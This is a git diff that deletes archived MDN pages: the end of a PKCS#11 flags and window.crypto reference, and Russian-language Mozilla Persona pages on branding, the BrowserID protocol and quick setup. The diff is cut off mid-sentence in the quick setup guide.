definitions</h4> - -<p>In general, most tokens should not set any of the cipher flags. Setting these flags means you want your token to supply the default implementation for these functions. Normally Mozilla uses its own internal module to supply these functions. These flags override that preference. If you choose to implement these flags, your module must supply the following additional functions for each flag:</p> - -<ul> - <li>PKCS11_MECH_FLAG: must support CKM_RSA_PKCS and CKM_RSA_X_509 and the following functions: C_WRAPKEY, C_ENCRYPT, C_SIGN, C_DECRYPT, C_UNWRAPKEY, C_VERIFYRECOVER, C_VERIFY, C_GENERATEKEYPAIR (2048, 1024, 512) size</li> - <li>PKCS11_MECH_DSA_FLAG: must support CKM_DSA and the following functions: C_SIGN, C_VERIFY, C_GENERATEKEYPAIR</li> - <li>PKCS11_MECH_RC2_FLAG: must support CKM_RC2_CBC and CKM_RC2_ECB and the following functions: C_GENERATEKEY, C_ENCRYPT, C_DECRYPT, C_WRAPKEY, C_UNWRAPKEY</li> - <li>PKCS11_MECH_RC4_FLAG: must support CKM_RC4_CBC and CKM_RC4_ECB and the following functions: C_GENERATEKEY, C_ENCRYPT, C_DECRYPT, C_WRAPKEY, C_UNWRAPKEY</li> - <li>PKCS11_MECH_DES_FLAG: must support CKM_CPMF_CBC, CKM_DES_CBC, CKM_DES3_CBC, CKM_CPMF_ECB, CKM_DES_ECB, CKM_DES3_ECB and the following functions: C_GENERATEKEY, C_ENCRYPT, C_DECRYPT, C_WRAPKEY, C_UNWRAPKEY</li> - <li>PKCS11_MECH_DH_FLAG: must support CKM_DH_PKCS_DERIVE and CKM_DH_KEY_PAIR_GEN and the following functions: C_DERIVEKEY, C_GENERATEKEYPAIR</li> - <li>PKCS11_MECH_MD5_FLAG: Hashing must be able to function without authentication.</li> - <li>PKCS11_MECH_SHA1_FLAG: Hashing must be able to function without authentication.</li> - <li>PKCS11_MECH_MD2_FLAG: Hashing must be able to function without authentication.*</li> - <li>PKCS11_RANDOM_FLAG: Use token's Random Number Generator. - <ul> - <li>Warning: Must be able to use without authentication. Many hardware random number generators are not as secure as the Netscape internal one. Do not select this value unless you can show that your random number generator is secure. Even so, it's highly discouraged.</li> - </ul> - </li> - <li>PKCS11_PUB_READABLE_CERT_FLAG: This is the only flag most smart tokens should turn on. You can turn this flag on if: - <ul> - <li>the certs on your token can be read without authentication and,</li> - <li>the public key on your token can be found by ID, MODULUS, or VALUE and all your private keys have the associated public key. - <ul> - <li>Turning this flag on will illuminate a large number of password prompts for your token when looking up certs in Communicator.</li> - </ul> - </li> - </ul> - </li> -</ul> - -<pre class="eval">PKCS11_MECH_RSA_FLAG = 0x1<<0; -PKCS11_MECH_DSA_FLAG = 0x1<<1; -PKCS11_MECH_RC2_FLAG = 0x1<<2; -PKCS11_MECH_RC4_FLAG = 0x1<<3; -PKCS11_MECH_DES_FLAG = 0x1<<4; -PKCS11_MECH_DH_FLAG = 0x1<<5; //Diffie-Hellman -PKCS11_MECH_SKIPJACK_FLAG = 0x1<<6; //SKIPJACK algorithm as in Fortezza cards -PKCS11_MECH_RC5_FLAG = 0x1<<7; -PKCS11_MECH_SHA1_FLAG = 0x1<<8; -PKCS11_MECH_MD5_FLAG = 0x1<<9; -PKCS11_MECH_MD2_FLAG = 0x1<<10; -PKCS11_MECH_RANDOM_FLAG = 0x1<<27; //Random number generator -PKCS11_PUB_READABLE_CERT_FLAG = 0x1<<28; //Stored certs can be read off the token w/o logging in -PKCS11_DISABLE_FLAG = 0x1<<30; //tell Mozilla to disable this slot by default -</pre> - -<h4 id="Cipher_flags">Cipher flags</h4> - -<pre class="eval">Reserved -</pre> - -<p>Important for CryptoMechanismFlags</p> - -<p>0x1<<11, 0x1<<12, ... , 0x1<<26, 0x1<<29, and 0x1<<31 are reserved for internal use in Mozilla. Therefore, these bits should always be set to 0; otherwise, Mozilla might exhibit unpredictable behavior.</p> - -<p>Important for CipherFlags</p> - -<p>All values are reserved for internal use in Mozilla. Therefore, this flag should always be set to 0; otherwise, Mozilla might exhibit unpredictable behavior.</p> - -<p>Example of CryptoMechanismFlags and CipherFlags</p> - -<pre class="eval">pkcs11MechanismFlags = PKCS11_MECH_DSA_FLAG | PKCS11_MECH_SKIPJACK_FLAG | PKCS11_MECH_RANDOM_FLAG; -pkcs11CipherFlags = 0; -</pre> - -<p>Return Values</p> - -<pre class="eval">JS_OK_ADD_MODULE = 3 // Successfully added a module -JS_ERR_OTHER = -1 // Errors other than the following -JS_ERR_USER_CANCEL_ACTION = -2 // User aborted an action -JS_ERR_INCORRECT_NUM_OF_ARGUMENTS = -3 // Calling a method w/ incorrect # of - // arguments -JS_ERR_ADD_MODULE = -5 // Error adding a module -JS_ERR_BAD_MODULE_NAME = -6 // The module name is invalid -JS_ERR_ADD_MODULE_DUPLICATE = -10 // The module being installed has the - // same name as one of the modules that - // has already been installed -</pre> - -<h4 id="Miscellaneous" name="Miscellaneous">Miscellaneous</h4> - -<pre class="eval">DOMString random(in long numBytes); -</pre> - -<p>{{ unimplemented_inline() }}You can use <span><a href="/en/DOM/window.crypto.getRandomValues" title="window.crypto.getRandomValues">window.crypto.getRandomValues</a> instead.</span></p> - -<pre class="eval">void logout(); -</pre> - -<p>Logs the user out of all the cryptographic tokens. The next private operation on any token will require the user password again. The SSL session cache is also cleared (from Firefox 1.5 upward).</p> - -<p>This means the master password will be requested the next time a saved password will be accessed after this function is called. This also means the SSL client authentication state will be erased for SSL sites with client authentication, and a client certificate prompt will appear again the next time the user connects to the site.</p> - -<div class="note"> -<p>Note: This function provides a convenient way to erase the SSL session state at the browser level, but in order to really guarantee that the state is erased, it is more secure to do it on the server side whenever possible.</p> -</div> - -<pre class="eval">void disableRightClick(); -</pre> - -<p>{{ unimplemented_inline() }}</p> diff --git a/files/ru/archive/mozilla/persona/branding/index.html b/files/ru/archive/mozilla/persona/branding/index.html deleted file mode 100644 index fdb5c58213..0000000000 --- a/files/ru/archive/mozilla/persona/branding/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Ресурсы -slug: Archive/Mozilla/Persona/branding -translation_of: Archive/Mozilla/Persona/User_interface_guidelines ---- -<h2 id="Вход_с_кнопками_Persona">Вход с кнопками Persona</h2> -<h3 id="Изображения">Изображения</h3> -<p>Кнопки входа есть в 3 вариантах, каждый в 3 цветах (изображения; англ. текст):</p> -<table> - <thead> - <tr> - <th scope="row"> </th> - <th scope="col">Sign in with your Email</th> - <th scope="col">Sign in with Persona</th> - <th scope="col">Sign in</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row">Черный</th> - <td><img alt="" src="/files/3955/email_sign_in_black.png" style="width: 202px; height: 25px;"></td> - <td><img alt="" src="/files/3961/persona_sign_in_black.png" style="width: 185px; height: 25px;"></td> - <td><img alt="" src="/files/3967/plain_sign_in_black.png" style="width: 95px; height: 25px;"></td> - </tr> - <tr> - <th scope="row">Синий</th> - <td><img alt="" src="/files/3957/email_sign_in_blue.png" style="width: 202px; height: 25px;"></td> - <td><img alt="" src="/files/3963/persona_sign_in_blue.png" style="width: 185px; height: 25px;"></td> - <td><img alt="" src="/files/3969/plain_sign_in_blue.png" style="width: 95px; height: 25px;"></td> - </tr> - <tr> - <th scope="row">Красный</th> - <td><img alt="" src="/files/3959/email_sign_in_red.png" style="width: 202px; height: 25px;"></td> - <td><img alt="" src="/files/3965/persona_sign_in_red.png" style="width: 185px; height: 25px;"></td> - <td><img alt="" src="/files/3971/plain_sign_in_red.png" style="width: 95px; height: 25px;"></td> - </tr> - </tbody> -</table> -<h3 id="CSS">CSS</h3> -<p><a href="http://sawyerhollenshead.com/" title="http://sawyerhollenshead.com/">Савье Холенсхед</a> создал набор прекрасных CSS кнопок. <a href="/files/3973/persona-css-buttons.zip" title="/files/3973/persona-css-buttons.zip">Скачать (.zip)</a></p> -<h2 id="Подробне">Подробне</h2> -<p>Вы можете найти больше информации о дизайне Persona в <a href="http://people.mozilla.org/~smartell/persona/" title="http://people.mozilla.org/~smartell/persona/">учебнике стиля</a>.</p> diff --git a/files/ru/archive/mozilla/persona/index.html b/files/ru/archive/mozilla/persona/index.html deleted file mode 100644 index b391407c7c..0000000000 --- a/files/ru/archive/mozilla/persona/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Персона -slug: Archive/Mozilla/Persona -tags: - - Obsolete - - Persona -translation_of: Archive/Mozilla/Persona ---- -<div class="callout-box"> -<p><strong>Оставайтесь на связи или получите помощь!</strong></p> - -<p>Подпишитесь на <a href="http://identity.mozilla.com/" title="http://identity.mozilla.com/">наш блог</a>, присоединяйтесь к <a href="https://lists.mozilla.org/listinfo/dev-identity" title="https://lists.mozilla.org/listinfo/dev-identity">нашей рассылке</a>, или найдите нас в <a class="link-irc" href="irc://irc.mozilla.org/identity" title="IRC: //irc.mozilla.org/identity">#identity</a> в системе <a class="link-https" href="https://wiki.mozilla.org/IRC" title="https://wiki.mozilla.org/IRC">IRC</a>.</p> -</div> - -<p></p><div class="warning"> <p>On November 30th, 2016, Mozilla shut down the persona.org services. Persona.org and related domains will soon be taken offline.</p> <p>For more information, see this guide to migrating your site away from Persona:</p> <p><a href="https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers">https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers</a></p></div><p></p> - -<p><a href="https://login.persona.org/">Mozilla Persona</a> - это полностью децентрализированная и безопасная система авторизации на сайтах, основанная на открытом протоколе BrowserID. Чтобы быть уверенным, что Persona работает везде и у всех, Mozilla в настоящее время работает над небольшим набором <a href="https://developer.mozilla.org/en-US/docs/Persona/Bootstrapping_Persona" title="https://developer.mozilla.org/en-US/docs/Persona/Bootstrapping_Persona">дополнительных централизованных сервисов</a>, относящихся к системе Persona.</p> - -<p>Почему вам стоит использовать Persona на вашем сайте?</p> - -<ol> - <li><strong>Persona полностью избавляет от необходимости локального пароля на сайте</strong>, освобождая пользователей и сайты от работ по созданию, управлению и безопасному хранению паролей. Пользователю требуется зарегистрироваться один раз на Persona и он сможет заходить на <strong>любые совместимые сайты </strong>не затрачивая время на регистрацию.</li> - <li><strong>Persona проста в использовании.</strong> Всего двумя кликами пользователь службы Persona может осуществить вход на сайт, вроде <a href="http://voo.st/">Voost</a>, минуя проблемы создания учётной записи.</li> - <li><strong>Persona проста в установке</strong><strong>. </strong>Разработчики могут добавить поддержку Persona к сайту за вечер.</li> - <li>Самое же лучшее в этом то, что <strong>нет жёсткой привязки</strong>. Разработчики получают проверенный адрес почты для каждого из пользователей, а пользователи могут использовать любой адрес почты с Persona. </li> -</ol> - -<p>И еще, Persona только в начале своего пути, чтобы стать еще лучше: она построена на <strong>открытом, децентрализованом протоколе</strong> BrowserID<strong>. </strong>И когда разработчики популярных браузеров реализуют BrowserID, <strong>не надо будет полагаться на Mozilla для входа.</strong></p> - -<p>Читайте дальше, чтобы приступить к изучению!</p> - -<div class="note"><strong>Замечание:</strong> Persona находится в активной разработке. Посетите <a class="external" href="http://identity.mozilla.com/" title="http://identity.mozilla.com/">наш блог</a>, чтобы узнать о новых возожностях, или же подпишитесь на <a class="link-https" href="https://lists.mozilla.org/listinfo/dev-identity" title="https://lists.mozilla.org/listinfo/dev-identity">нашу рассылку</a> для организации обратной связи! </div> - -<h2 id="Использование_Persona_на_вашем_сайте">Использование Persona на вашем сайте</h2> - -<table class="topicpage-table"> - <tbody> - <tr> - <td> - <h3 id="Приступая_к_работе">Приступая к работе</h3> - - <dl> - <dt><a href="/ru/docs/Persona/Why_Persona" title="EN / BrowserID / Why_BrowserID">Почему Persona?</a></dt> - <dd>Узнайте о причинах поддержать Persona на Вашем сайте, и сравниваете её с другими системами аутентификации.</dd> - <dt><a href="/ru/Persona/Quick_Setup" title="BrowserID / Быстрая настройка">Быстрая установка</a></dt> - <dd>Быстрый обзор, показывающий как добавить Persona на Ваш сайт.</dd> - </dl> - </td> - <td> - <h3 id="Справка_по_Persona_API">Справка по Persona API</h3> - - <dl> - <dt><a href="/en/DOM/navigator.id" title="navigator.id"><font><font>Справка по navigator.id API</font></font></a></dt> - <dd>Ссылка для объекта navigator.id, который веб-разработчики могут использовать, для интеграции Persona с сайтами.</dd> - <dt><a href="/en/Persona/Remote_Verification_API" title="EN / BrowserID / Remote_Verification_API"><font><font>Ссылка API Проверка</font></font></a></dt> - <dd><font><font>Ссылка для дистанционного контроля API размещенную на </font></font><code><font><font>https://verifier.login.persona.org/verify</font></font></code><font><font> .</font></font></dd> - </dl> - </td> - </tr> - <tr> - <td> - <h3 id="Гиды"><font><font>Гиды</font></font></h3> - - <dl> - <dt><a href="/en/Persona/Security_Considerations" title="Соображения BrowserID / Безопасность"><font><font>Соображения безопасности</font></font></a></dt> - <dd><font><font>Практика и методы, чтобы убедиться, развертывание Персона является безопасным.</font></font></dd> - <dt>Браузерная совместимость</dt> - <dd>Узанйте какие именно браузеры поддерживает Persona </dd> - <dt><font><font>Интернационализация</font></font></dt> - <dd>Узнайте Persona работает с различными языками</dd> - </dl> - </td> - <td> - <h3 id="Reswrısı"><font><font>Reswrısı</font></font></h3> - - <dl> - <dt>Библиотеки и плагины</dt> - <dd>Найдите встраимывые библиотеки для ваших любимы языков и web-фрейморков, блогов или CMS</dd> - <dt><a class="link-https" href="https://github.com/mozilla/browserid-cookbook" title="https://github.com/mozilla/browserid-cookbook"><font><font>Персона поваренной</font></font></a></dt> - <dd>Примеры исходных кодов для сайтов Persona. Включая сниппеты в PHP, node.JS и других...</dd> - <dt><a href="/en-US/docs/persona/branding" title="/ EN-US / документы / персона / брендинг"><font><font>Брендинг ресурсы</font></font></a></dt> - <dd><font><font>Вход в кнопках и других графикой, чтобы помочь настоящий Persona для пользователей.</font></font></dd> - </dl> - </td> - </tr> - </tbody> -</table> - -<p> </p> - -<table class="topicpage-table"> - <tbody> - <tr> - <td> - <h2 id="Информация_для_поставщиков_удостоверяющих_личность"><font><font>Информация для поставщиков, удостоверяющих личность</font></font></h2> - - <p><font><font>Если вы провайдер электронной почты или другой службы, удостоверяющий личность, обеспечивая, проверить ссылку ниже, чтобы узнать о становлении Поставщик Персона идентичности.</font></font></p> - - <dl> - <dt><em><a href="/en-US/docs/Persona/Identity_Provider_Overview" title="IdP"><font><font>IdP Обзор</font></font></a></em></dt> - <dd><font><font>Посмотреть высокий уровень Провайдеры Персона идентичности.</font></font></dd> - <dt><em><a href="/en/Persona/Implementing_a_Persona_IdP" title="Руководство по внедрению персоной IdP"><font><font>Реализация IdP</font></font></a></em></dt> - <dd><font><font>Подробное руководство по техническим деталям становится поставщика удостоверения.</font></font></dd> - <dt><em><a href="/en-US/Persona/IdP_Development_tips" title="Советы для разработчиков"><font><font>Советы по развитию</font></font></a></em></dt> - <dd><font><font>Набор советов и трюков полезных при разработке нового поставщика удостоверений.</font></font></dd> - <dt><em><a href="/en-US/docs/Persona/.well-known-browserid" title="https://developer.mozilla.org/en-US/docs/Persona/.well-known-browserid"><font><font>.well известный / BrowserID</font></font></a></em></dt> - <dd><font><font>Обзор структуры и цели </font></font><code><font><font>.well известный / BrowserID</font></font></code><font><font> файл, который удостоверений использовать для рекламы своей поддержке протокола.</font></font></dd> - </dl> - </td> - <td> - <h2 id="Персона_проекта"><font><font>Персона проекта</font></font></h2> - - <dl> - <dt><em><a href="/en/Persona/Glossary" title="navigator.id"><font><font>Глоссарий</font></font></a></em></dt> - <dd><font><font>BrowserID и Персона - терминология и определения.</font></font></dd> - <dt><em><a href="/en/Persona/FAQ" title="EN / BrowserID / FAQ"><font><font>ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ</font></font></a></em></dt> - <dd><font><font>Ответы на часто задаваемые вопросы.</font></font></dd> - <dt><em><a href="/en/Persona/Protocol_Overview" title="Обзор BrowserID / протокол"><font><font>Обзор протокола</font></font></a></em></dt> - <dd>Т<font><font>ехнический обзор основ протокола BrowserID.</font></font></dd> - <dt><em><a href="/en/persona/Crypto" title="MDN"><font><font>Крипто-</font></font></a></em></dt> - <dd><font><font>Взгляд на криптографические концепций Persona и BrowserID.</font></font></dd> - <dt><em><a class="link-https" href="https://github.com/mozilla/id-specs/blob/master/browserid/index.md" title="https://github.com/mozilla/id-specs/blob/master/browserid/index.md"><font><font>Spec</font></font></a></em></dt> - <dd><font><font>Глубокие технические детали можно найти <a href="https://github.com/mozilla/id-specs/blob/master/browserid/index.md">здесь</a>.</font></font></dd> - <dt><em><a href="/Persona/Bootstrapping_Persona" title="EN / BrowserID / Bootstrapping_BrowserID"><font><font>Персона Сайт</font></font></a></em></dt> - <dd><font><font>Чтобы Персона собирается, мы хостинг три услуги на </font></font><a class="link-https" href="https://login.persona.org" rel="freelink"><font><font>https://login.persona.org</font></font></a><font><font> : запасной провайдер идентификации, портативный осуществления <a href="/ru/docs/Web/API/Navigator/id" title="The BrowserID protocol defines a new id property on the window.navigator object, through which it exposes the BrowserID API, that is the IdentityManager intreface. This API has gone through several significant revisions. Each generation is listed separately below."><code>navigator.id</code></a> API, и удостоверение утверждение проверка сервис.</font></font></dd> - <dt><em><font><font><a href="https://github.com/mozilla/browserid">Исходный код Persona</a></font></font></em></dt> - <dd><font><font>Код Persona находится в репозитории на GitHub. Патчи приветствуются!</font></font></dd> - </dl> - </td> - </tr> - </tbody> -</table> - -<div class="toppageup" id="js-toppageup" style="display: none;"> -<div class="toppageup-link"><span>наверх</span></div> - -<div class="toppageup-add" id="js-toppageup-add"><span>в закладки</span></div> -</div> diff --git a/files/ru/archive/mozilla/persona/protocol_overview/index.html b/files/ru/archive/mozilla/persona/protocol_overview/index.html deleted file mode 100644 index 0712e60be5..0000000000 --- a/files/ru/archive/mozilla/persona/protocol_overview/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Protocol Overview -slug: Archive/Mozilla/Persona/Protocol_Overview -translation_of: Archive/Mozilla/Persona/Protocol_Overview ---- -<p>Persona is built on the BrowserID protocol. This page describes the BrowserID protocol at a high level.</p> -<h2 id="Actors">Actors</h2> -<p>The protocol involves three actors:</p> -<ul> - <li><strong>Users:</strong> The actual people that want to sign into websites using Persona.</li> - <li><strong>Relying Parties (RPs): </strong>Websites that want to let users sign in using Persona.</li> - <li><strong>Identity Providers (IdPs): </strong>Domains that can issue Persona-compatible identity certificates to their users.</li> -</ul> -<p>Persona and the BrowserID protocol use email addresses as identities, so it's natural for email providers to become IdPs.</p> -<p>Mozilla operates a fallback IdP so that users can use any email address with Persona, even one with a specific domain that isn't an IdP itself.</p> -<h2 id="Protocol_Steps">Protocol Steps</h2> -<p>There are three distinct steps in the protocol:</p> -<ol> - <li>User Certificate Provisioning</li> - <li>Assertion Generation</li> - <li>Assertion Verification</li> -</ol> -<p>As a prerequisite, the user should have an active identity (email address) that they wish to use when logging in to websites. The protocol does not require that IdP-backed identities are SMTP-routable, but it does require that identities follow the <code>user@domain</code> format.</p> -<h3 id="User_Certificate_Provisioning">User Certificate Provisioning</h3> -<p>In order to sign into an RP, a user must be able to prove ownership of their preferred email address. The foundation of this proof is a cryptographically signed certificate from an IdP certifying the connection between a browser's user and a given identity within the IdP's domain.</p> -<p>Because Persona uses standard <a href="http://en.wikipedia.org/wiki/Public-key_cryptography" title="http://en.wikipedia.org/wiki/Public-key_cryptography">public key cryptography</a> techniques, the user certificate is signed by the IdP's private key and contains:</p> -<ul> - <li>The user's email address.</li> - <li>The user's public key for that address on that browser.</li> - <li>The time that the certificate was issued.</li> - <li>The time that the certificate expires.</li> - <li>The IdP's domain name.</li> -</ul> -<p>The user's browser generates a different keypair for each of the user's email addresses, and these keypairs are not shared across browsers. Thus, a user must obtain a fresh certificate whenever one expires, or whenever using a new browser or computer. Certificates must expire within 24 hours of being issued.</p> -<p>When a user selects an identity to use when signing into an RP, the browser checks to see if it has a fresh user certificate for that address. If it does, this step is complete and the browser continues with the assertion generation step below. If the browser does not have a fresh certificate, it attempts to obtain one from the domain associated with the chosen identity.</p> -<ol> - <li>The browser fetches the <a href="/en-US/docs/Persona/.well-known-browserid" title="/en-US/docs/Persona/.well-known-browserid">/.well-known/browserid</a> support document over SSL from the identity's domain.</li> - <li>Using information from the support document, the browser passes the user's email address and associated public key to the IdP and requests a signed certificate.</li> - <li>If necessary, the user is asked to sign into the IdP before provisioning proceeds.</li> - <li>The IdP creates, signs, and gives a user certificate to the user's browser.</li> -</ol> -<p>With the certificate in hand, the browser can continue with generating an identity assertion and signing into an RP.</p> -<p><img src="/@api/deki/files/6043/=user-certificate-provisioning.png" alt="user-certificate-provisioning.png" class="internal default"></p> -<h3 id="Assertion_Generation">Assertion Generation</h3> -<p>The user certificate establishes a verifiable link between an email address and a public key. However, this is alone not enough to log into a website: the user still has to show their connection to the certificate by proving ownership of the private key.</p> -<p>In order to prove ownership of a private key, the user's browser creates and signs a new document called an "identity assertion." It contains:</p> -<ul> - <li>The origin (scheme, domain, and port) of the RP that the user wants to sign into.</li> - <li>An expiration time for the assertion, generally less than five minutes after it was created.</li> -</ul> -<p>The browser then presents both the user certificate and the identity assertion to the RP for verification.</p> -<h3 id="Assertion_Verification">Assertion Verification</h3> -<p>The combination of user certificate and identity assertion is sufficient to confirm a user's identity.</p> -<p>First, the RP checks the domain and expiration time in the assertion. If the assertion is expired or intended for a different domain, it's rejected. This prevents malicious re-use of assertions.</p> -<p>Second, the RP validates the signature on the assertion with the public key inside the user certificate. If the key and signature match, the RP is assured that the current user really does possess the key associated with the certificate.</p> -<p>Last, the RP fetches the IdP's public key from its <a href="/en-US/docs/Persona/.well-known-browserid" title="/en-US/docs/Persona/.well-known-browserid">/.well-known/browserid</a> document and verifies that it matches the signature on the user certificate. If it does, then the RP can be certain that the certificate really was issued by the domain in question.</p> -<p>Once verifying that this is a current login attempt for the proper RP, that the user certificate matches the current user, and that the user certificate is legitimate, the RP is done and can authenticate the user as the identity contained in the certificate.</p> -<p><img src="/@api/deki/files/6042/=assertion-generation-and-verify.png" alt="assertion-generation-and-verify.png" class="internal default"></p> -<h2 id="The_Persona_Fallback_IdP">The Persona Fallback IdP</h2> -<p>What if a user's email provider doesn't support Persona? In that case, the provisioning step would fail. By convention, the user's browser handles this by asking a trusted third party, <a href="https://login.persona.org/" title="https://login.persona.org/">https://login.persona.org/</a>, to certify the user's identity on behalf of the unsupported domain. After demonstrating ownership of the address, the user would then receive a certificate issued by the fallback IdP, <code>login.persona.org</code>, rather than the identity's domain.</p> -<p>RPs follow a similar process when validating the assertion: the RP would ultimately request the fallback IdP's public key in order to verify the certificate.</p> diff --git a/files/ru/archive/mozilla/persona/quick_setup/index.html b/files/ru/archive/mozilla/persona/quick_setup/index.html deleted file mode 100644 index 9b359e200c..0000000000 --- a/files/ru/archive/mozilla/persona/quick_setup/index.html +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Быстрая установка -slug: Archive/Mozilla/Persona/Quick_Setup -tags: - - Persona - - Использование - - Настройка - - Пример - - Установка -translation_of: Archive/Mozilla/Persona/Quick_Setup ---- -<p>Добавление системы авторизации Persona на ваш сайт займет всего 5 шагов:</p> -<ol> - <li>Подключите ЯваСкрипт-библиотеку на ваши страницы.</li> - <li>Добавьте кнопки «Вход» и «Выход».</li> - <li>Отслеживайте события входа и выхода.</li> - <li>Проверьте учетные данные пользователя.</li> - <li>Ознакомьтесь с лучшими примерами.</li> -</ol> -<p>Установка и настройка займёт у вас всего один вечер, но если вы собираетесь использовать Persona на вашем сайте, <em>пожалуйста</em>, прежде всего уделите минутку и подпишитесь на рассылку <a href="https://mail.mozilla.org/listinfo/persona-notices">Заметки о Persona</a>. Там крайне мало сообщений, она используется только для анонсов изменений или проблем с безопасностью, которые могут неблагоприятно сказаться на работе вашего сайта.</p> -<h2 id="Шаг_1_Подключение_библиотеки">Шаг 1: Подключение библиотеки</h2> -<p>Persona разработана так, чтобы быть независимой от обозревателя и хорошо работает во <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility">всех основных настольных и мобильных обозревателях</a>. Это возможно благодаря межплатформенной библиотеке Persona, написанной на ЯваСкрипте. После того, как библиотека загружена на вашей странице, вам потребуются следующие функции Persona: ({{ domxref("navigator.id.watch()", "watch()") }}, {{ domxref("navigator.id.request()", "request()") }}, и {{ domxref("navigator.id.logout()", "logout()") }}), которые будут доступны в глобальном объекте <code>navigator.id</code>.</p> -<p>Чтобы подключить ЯваСкрип-библиотеку Persona, поместите следующий код в головной ярлык head:</p> -<pre class="brush: html;"><script src="https://login.persona.org/include.js"></script> -</pre> -<p>Вы должны подключить эту библиотеку, так как она создает функции {{ domxref("navigator.id") }}. Потому, что Persona еще находится в разработке, вы не должны самостоятельно изменять файл <code>include.js</code>.</p> -<h2 id="Шаг_2_Добавление_кнопок_входа_и_выхода">Шаг 2: Добавление кнопок входа и выхода</h2> -<p>Потому, что Persona создана как DOM API, Вы должны вызывать функции, когда пользователь нажимает на кнопки входа и выхода на Вашем сайте. Чтобы открыть окно входа через Persona, вызовите функцию {{ domxref("navigator.id.request()") }}. Для выхода вызовите {{ domxref("navigator.id.logout()") }}.</p> -<p>Например:</p> -<pre class="brush: js;">var signinLink = document.getElementById('signin'); -if (signinLink) { - signinLink.onclick = function() { navigator.id.request(); }; -}; - -var signoutLink = document.getElementById('signout'); -if (signoutLink) { - signoutLink.onclick = function() { navigator.id.logout(); }; -}; -</pre> -<p>Как выглядят эти кнопки? Посмотрите <a href="https://developer.mozilla.org/docs/persona/branding">эту страницу</a>, там найдете CSS и изображения!</p> -<h2 id="Шаг_3_Отслеживание_событий_входа_и_выхода">Шаг 3: Отслеживание событий входа и выхода</h2> -<p>Для работы Persona вы должны сообщить ей, что делать, когда пользователь осуществляет вход и выход. Для этого нужно вызвать функцию {{ domxref("navigator.id.watch()") }}, предоставив ей три параметра:</p> -<ol> - <li> - <p><code>loggedInEmail</code> – почта текущего пользователя на сайте или <code>null</code>, если его нет. Это значение должно формироваться динамически во время создания страницы.</p> - </li> - <li> - <p>Функцию, которую следует вызвать при входе пользователя – действие <code>onlogin</code>. Это функция должна принимать один параметр – "заявленный идентификатор", который должен быть проверен.</p> - </li> - <li> - <p>Функцию, которую следует вызвать при выходе пользователя – действие <code>onlogout</code>. Эта функция работает без каких-либо параметров.</p> - </li> -</ol> -<div class="note style-wrap"> - <p><strong>Замечание:</strong> Необходимо всегда указывать обе функции (для входа и выхода) – <code>onlogin</code> и <code>onlogout</code> при вызове {{ domxref("navigator.id.watch()") }}.</p> -</div> -<p>Например, если вы думаете что Иван выполнил вход на ваш сайт, вы должны сделать следующее:</p> -<pre class="brush: js;">var currentUser = 'ivan@example.com'; - -navigator.id.watch({ - loggedInEmail: currentUser, - onlogin: function(assertion) { - // Пользователь выполнил вход! В этом случае нужно: - // 1. Отправить заявленный идентификатор в бекэнд вашего сайта (серверная часть, прим. переводчика) для проверки и создания сессии. - // 2. Обновить интерфейс пользователя. - $.ajax({ - type: 'POST', - url: '/auth/login', // это URL путь на вашем сайте. - data: {assertion: assertion}, - success: function(res, status, xhr) { window.location.reload(); }, - error: function(res, status, xhr) { alert("login failure" + res); } - }); - }, - onlogout: function() { - // Пользователь выполнил выход! В этом случае нужно: - // Удалить сессию пользователя с помощью перенаправления или отправки запроса на бекэнд. - $.ajax({ - type: 'POST', - url: '/auth/logout', // это URL путь на вашем сайте. - success: function(res, status, xhr) { window.location.reload(); }, - error: function(res, status, xhr) { alert("logout failure" + res); } - }); - } -}); -</pre> -<p>В этом примере обе функции <code>onlogin</code> и <code>onlogout</code> отправляют асинхронные <code>POST</code> запросы к бекэнду вашего сайта. Бекэнд в свою очередь осуществляет процедуру входа и выхода пользователя, записывая или удаляя информацию в куки сессии. Далее, если пройдены все проверки, страница перезагружается, отображая новое состояние авторизации.</p> -<p>Вы, конечно, можете использовать AJAX, чтобы реализовать всё без перезагрузки страницы или перенаправлений, однако это не входит в рамки данного учебника.</p> -<p>Эту функцию <strong>обязательно</strong> вызывать на каждой странице, где есть кнопки входа или выхода. Чтобы ваши пользователи могли использовать такие возможности как автоматический вход или глобальный выход из системы, <strong>требуется</strong> вызывать эту функцию на каждой странице вашего сайта.</p> -<h2 id="Шаг_4_Проверка_пользовательских_данных">Шаг 4: Проверка пользовательских данных</h2> -<p>Вместо паролей Persona использует "заявленные идентификаторы", которые представляют из себя что-то вроде одноразовых паролей только для одного сайта, связанных с адресом электронной почты пользователя. Когда пользователь собирается осуществить вход, будет вызвана ваша функция <code>onlogin</code> с "заявкой" от пользователя. Прежде чем закончить процедуру входа вы должны проверить эту заявку.</p> -<p><em>Крайне важно</em> осуществлять такую проверку на стороне сервера, но не с помощью ЯваСкрипт-кода, работающего в обозревателе пользователя, иначе её легко можно подделать. В следующем примере заявка передаётся на сервер методом <code>POST</code> на адрес <code>/api/login</code> с помощью вспомогательной функции jQuery <code>$.ajax()</code>.</p> -<p>Как следует делать проверку на сервере при получении заявки? Самый простой способ – использовать службу, предоставляемую Mozilla. Просто отправьте <code>POST</code> запрос с заявкой на адрес <code>https://verifier.login.persona.org/verify</code> указав два параметра:</p> -<ol> - <li><code>assertion</code>: заявка-идентификатор, полученный от пользователя.</li> - <li><code>audience</code>: Адрес хоста и порт вашего сайта. Это информация должна быть записана в вашем бекэнде, ни в коем случае не получайте эти данные из того, что было отправлено пользователем.</li> -</ol> -<p>Предположим, <code>example.com</code> – это адрес вашего сайта, вы сможете проверить заявку, используя командную строку:</p> -<pre class="brush: bash;">$ curl -d "assertion=<ASSERTION>&audience=https://example.com:443" "https://verifier.login.persona.org/verify" -</pre> -<p>Если она настоящая, в ответ вы получите примерно такой ответ в формате JSON:</p> -<pre class="brush: js;">{ - "status": "okay", - "email": "bob@eyedee.me", - "audience": "https://example.com:443", - "expires": 1308859352261, - "issuer": "eyedee.me" -} -</pre> -<p>Вы можете более подробно ознакомиться со службой проверки, прочитав статью <a href="https://developer.mozilla.org/en-US/docs/BrowserID/Remote_Verification_API">API Проверочной 